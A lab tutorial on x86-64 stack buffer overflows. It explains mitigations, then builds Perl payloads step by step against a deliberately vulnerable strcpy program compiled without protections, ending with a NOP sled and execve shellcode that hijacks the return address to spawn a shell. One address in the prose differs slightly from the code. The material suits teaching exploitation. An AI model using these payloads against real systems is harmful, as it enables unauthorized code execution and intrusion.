Buffer overflow is a type of vulnerability in computer systems where a program writes more data to a buffer (a temporary memory storage) than it can hold. This excess data overwrites adjacent memory locations, potentially corrupting or altering the program's execution flow. It occurs when the program does not properly check the boundaries of a buffer before writing to it.
Key Points:

1. Cause: Buffer overflows often happen when there is insufficient validation of input data, especially with functions that do not check array bounds (e.g., strcpy(), gets(), etc.).
2. Impact:
    a) Corruption of data: The excess data can overwrite critical variables, program state, or return addresses, causing the program to behave unpredictably.
    b) Security vulnerability: Malicious actors can exploit buffer overflows to inject harmful code or manipulate program execution, potentially leading to unauthorized access, privilege escalation, or arbitrary code execution.
3. Common Attack: Attackers may exploit buffer overflows to overwrite a function's return address, redirecting execution to injected malicious code (shellcode). This is often called a stack buffer overflow.
4. Mitigation: Modern systems use techniques like stack canaries, non-executable stacks, and address space layout randomization (ASLR) to prevent buffer overflows and make them harder to exploit.
    a) The NX bit (No eXecute bit) is a security feature implemented in modern processors that helps prevent certain types of attacks, particularly those involving the execution of malicious code. It is a bit in the page table entry of memory pages that marks the memory region as non-executable, meaning that the CPU will not execute any code located in that region.
    b) ASLR (Address Space Layout Randomization) is a powerful security feature that randomizes the memory addresses used by processes to make it harder for attackers to predict memory locations for exploits. While it is a strong defence against certain attack types, it is most effective when combined with other security measures, such as NX (No eXecute) and stack canaries.
    c) Stack canaries are a security mechanism used to detect and prevent buffer overflow attacks that overwrite the return address on the stack. The idea is to place a small, secret value (the "canary") just before the return address in the stack frame. If a buffer overflow occurs and attempts to overwrite the return address, the canary value will also be modified. The program can then check the canary value before returning from a function to detect whether a buffer overflow has occurred.

## Buffer Overflow Example

Vulnerable Program:

```
//vuln.c
#include <stdio.h>
#include <string.h>

void vuln_function(char *);

int main(int argc, char *argv[])
{
	if(argc>1)
	{
		vuln_function(argv[1]);
	}

	return 0;
}

void vuln_function(char *input)
{
	char buff[256];
	strcpy(buff,input);
}
```

Given are some scripts to enable/disable ASLR. We may not need these as we will exploit the program inside gdb, which implicitly disables the ASLR. The ASLR is enabled again as soon as we exit gdb.
To verify ASLR

```
#!/bin/bash
cat /proc/sys/kernel/randomize_va_space
```

To enable ASLR

```
#!/bin/bash
bash -c "echo 2 > /proc/sys/kernel/randomize_va_space"
```

To disable ASLR

```
#!/bin/bash
bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
```

## Let us start with our example

Compile the program

```
$ gcc -fno-stack-protector vuln.c -o vuln -z execstack -D_FORTIFY_SOURCE=0
```

Now execute it

```
$ ./vuln FCCU
```

No output is shown. That is normal behavoir of the program.

Let us crash the program
Write a perl script exploit1.pl for this purpose.

```
#!/usr/bin/perl
$| = 1;
$junk = "A" x 300;
print $junk;
```

assign execute permissions to this script

on kali

```
$ ./exploit1.pl
```

300 A’s are displayed

Now create a payload from the output of exploit1.pl

```
$ ./exploit1.pl > payload1
```

Run the program

```
$ ./vuln $(cat payload1)
```

You will get a seg fault

Now run the program in gdb

```
$ gdb ./vuln
```

View the disassembly of program functions

```
gef> disass main

gef> disass vuln_func
```

Run the program inside gdb

```
gef> run $(cat payload1)
```

Note seg fault results
Also note that there are 8 A’s in the RBP register.
We need to find out what is the address of first A out of these 300 A’s that fill RBP
Quit the gdb by pressing q and run it again

```
$ gdb -q ./vuln
```
Next type following to create a pattern
```
$ pattern create 300
```
Copy the output
Open a new terminal and
```
$ cp exploit1.pl exploit2.pl
```

Paste the pattern in exploit2.pl as shown:

```
#!/usr/bin/perl

$| = 1;
$junk =
"aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaa
aaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaav
aaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaa
abhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa";
print $junk;
```

Now create payload2
```
$ ./exploit2.pl > payload2
```

Go back to the gdb
```
gef> run $(cat payload2)
```

You will again get a seg fault. RBP is overwritten with 8 characters from the pattern. However RIP is not overwritten.
Copy the contents of RBP from the register section of gef and run following command:
```
gef> pattern search <paste the contents of RBP here>
```
The output says that the offset is 256 bytes.
This means 256 bytes to fill the buffer and next 8 bytes are that of RBP and obviously next 8 bytes are of RIP.
Let us write another exploit
Quit gdb
Type
```
$ cp exploit2.pl exploit3.pl
```
Make changes in the exploit3.pl as shown:
```
#!/usr/bin/perl

$| = 1;
$junk = "A" x 256;
$junk .= "B" x 8;
$junk .= "C"x 8;
print $junk;
```

Do not forget to assign executable permissions to exploit3.pl as well. Next create the payload3 file
```
$ ./exploit3.pl > payload3
```
Now start gdb again
```
$ gdb -q ./vuln
gef> run $(cat payload3)
```

Again seg fault is encountered.
Note now that RBP is filled with 8 B's but RIP does not have the 8C's.
Reason is Canonical Addressing
It is recommended to read about canonical addressing from the Internet. Simply stated 64 bit architecture uses 48 bits instead of 64 bits for addresses. So we need to place a 48 bit value inside the RIP, as it always carries the address of memory.
For this we again need to change our payload
```
$ cp exploit3.pl exploit4.pl
```
Assign executable permissions to exploit4.pl if needed.
Make following changes in the exploit4.pl

```
#!/usr/bin/perl

$| = 1;
$junk = "A" x 256;
$junk .= "B" x 8;
$junk .= "C"x 6;

print $junk;
```

Now
```
$ ./exploit4.pl > payload4
```

Run gdb
```
$ gdb -q ./vuln

gef> run $(cat payload4)
```
This time you should see seg fault occurred because of the six C's in the RIP
Check contents of RIP
```
gef> info registers
```
There are 8 B's in RBP and 6 C's in RIP

Ok now let us view the stack
```
gef> x/50gx $rsp - 280
```
This will display 50 entries from stack where RSP – 280 is the starting location.
Here you can see

- Bunch of As
- Followed by 8 B's
- Followed by 6 C's

Now you can see that we exactly know the address of stack where return address stored.

Now that we have successfully got the return address's address on the stack, let us make use of it.
What we will do is we will create a shell code and place it in our junk area on stack, and make control jump to that location instead of returning to the caller.
Go to shell-storm.org/shellcode/files/shellcode-806.py and copy the binary of shell code.
Copy the shell code in a text editor for future use.
Copy the section of stack from gef and paste it in a text editor as well.

Exit gdb
Issue following command on kali terminal
```
$ cp exploit4.pl exploit5.pl
```
Make following changes in exploit5.pl

```
#!/usr/bin/perl

$| = 1;
$nops = "\x90" x 90;
$shellcode =
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57
\x54\x5e\xb0\x3b\x0f\x05";
$junk = "A" x (256 - length($nops) - length($shellcode));
$junk .= "B" x 8;
$junk .= "\x48\xda\xff\xff\xff\x7f";#0x7fffffffda48

print $nops . $shellcode . $junk;
```

Note

- Our payload is starting with around 90 nop sleds.
- After that we have the shell code.

- After the shell code lies the junk with A's and 8 B's
- The line `$junk .= "\x18\xda\xff\xff\xff\x7f";#0x7fffffffda48` is actually the address of a location inside the nopsleds. This being the return address, control will jump to this location and will slide down from the nop-sleds to our shell code and will start executing it. (remember our stack is executable as we have disabled the NX bit while compiling our vulnerable program)

Create the payload5 file as before.
Now let us run the vulnerable program using payload5.

```
$ gdb -q ./vuln
gef> run $(cat payload5)
```

You should get a shell